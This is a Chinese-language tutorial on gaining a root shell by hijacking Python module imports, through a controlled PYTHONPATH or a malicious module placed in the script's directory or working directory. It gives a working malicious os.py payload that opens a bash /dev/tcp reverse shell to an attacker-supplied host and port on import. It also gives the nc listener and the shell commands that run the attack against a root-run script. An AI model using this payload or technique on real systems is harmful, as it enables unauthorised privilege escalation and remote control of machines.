如何利用 Python 的环境特性在不修改原脚本的前提下，劫持程序执行流程并获取 Root Shell

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2025-11-02

如何利用 Python 的环境特性在不修改原脚本的前提下，劫持程序执行流程并获取 Root Shell

一、利用 PYTHONPATH 环境变量劫持

PYTHONPATH 环境变量是 Python 解释器在寻找导入模块时，除了系统默认路径（如标准库路径和当前目录）外，会优先搜索的路径列表。如果目标脚本以 root 权限运行，并且我们能够控制 PYTHONPATH 的值或目标环境，就可以实现劫持

原理

目标： 找到一个目标脚本（以 Root 权限运行）会导入的标准库模块或第三方库模块。假设目标脚本中有一行代码是 import os
创建恶意模块： 我们在可控目录下创建一个与目标导入模块同名的文件，例如 os.py
设置 PYTHONPATH： 将我们存放恶意 os.py 文件的目录路径设置为 PYTHONPATH 的值
执行流程： 当 Root 脚本启动时，Python 解释器会优先在 PYTHONPATH 指向的目录中搜索 os.py。它会找到我们的恶意文件，并执行其中的代码，而不是系统标准的 os 库

攻击步骤（获取 Root Shell）

假设目标 Root 脚本名为 target_root_script.py，且它导入了 os 模块

创建恶意载荷 (Payload)： 在我们的可写入目录（例如 /home/user/malicious_path/）下创建 os.py 文件

# /home/user/malicious_path/os.py
import subprocess
import socket

# 这段代码将在模块被导入时立即执行
def trigger():
    # 反弹 Root Shell
    # 注意：这里使用 bash 和 /dev/tcp 是 Linux 特有技巧
    # 实际操作中，可以使用 Python 的 socket 库实现更隐蔽的反弹
    LHOST = '你的攻击机IP'
    LPORT = '你的监听端口'
    subprocess.run(f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1", shell=True)

# 确保在模块加载时触发
trigger()

# 为了不让目标程序崩溃，我们可能需要在这里导入和暴露真正的 os 模块
# 但简单起见，可以先尝试让程序崩溃，如果能获得 Shell 就不必关心
# 复杂劫持：from real_os_module import *

设置环境变量并执行： 在 Shell 中设置 PYTHONPATH，然后运行目标脚本

# 确保你的攻击机已经在 LPORT 端口监听 (e.g., nc -lvnp LPORT)

export PYTHONPATH="/home/user/malicious_path/"
/usr/bin/python3 /path/to/target_root_script.py
# 此时，target_root_script.py 导入 os 模块时，将执行我们的反弹 Shell 代码

二、利用标准库的优先级加载机制（文件名冲突）

如果没有 PYTHONPATH 的控制权，我们还可以利用 Python 的默认搜索顺序来实现劫持。

原理

Python 的模块搜索顺序通常是：

当前目录或程序所在目录（优先级最高）
PYTHONPATH 中的目录
标准库目录和第三方包目录

如果我们将恶意模块放置在目标 Root 脚本所在的目录下，或者放置在用户当前工作目录下，并以与目标脚本导入的模块相同的名称命名，它将优先于系统标准库被加载

攻击策略

这种策略需要我们对目标脚本所在的目录有写入权限，或者能控制脚本执行时的当前工作目录 (CWD)

目标： 目标 Root 脚本（/opt/app/root_tool.py）导入了 config 模块（一个自定义模块），或者导入了一个常见且不复杂的标准库模块，如 logging 或 tempfile
当前目录劫持： 如果目标脚本执行时，我们能控制其 CWD：
- 创建恶意载荷： 在我们控制的 CWD 下创建一个名为 logging.py 的恶意文件
- 执行： 当 Root 脚本被执行时，如果它导入了 import logging，它将加载 CWD 下的 logging.py
```
# 攻击机已监听 LPORT

# 切换到我们的可控目录（假设我们在这里创建了恶意的 logging.py）
cd /home/user/malicious_cwd/

# 执行 Root 脚本，使其在我们的目录下启动
/usr/bin/python3 /opt/app/root_tool.py
```

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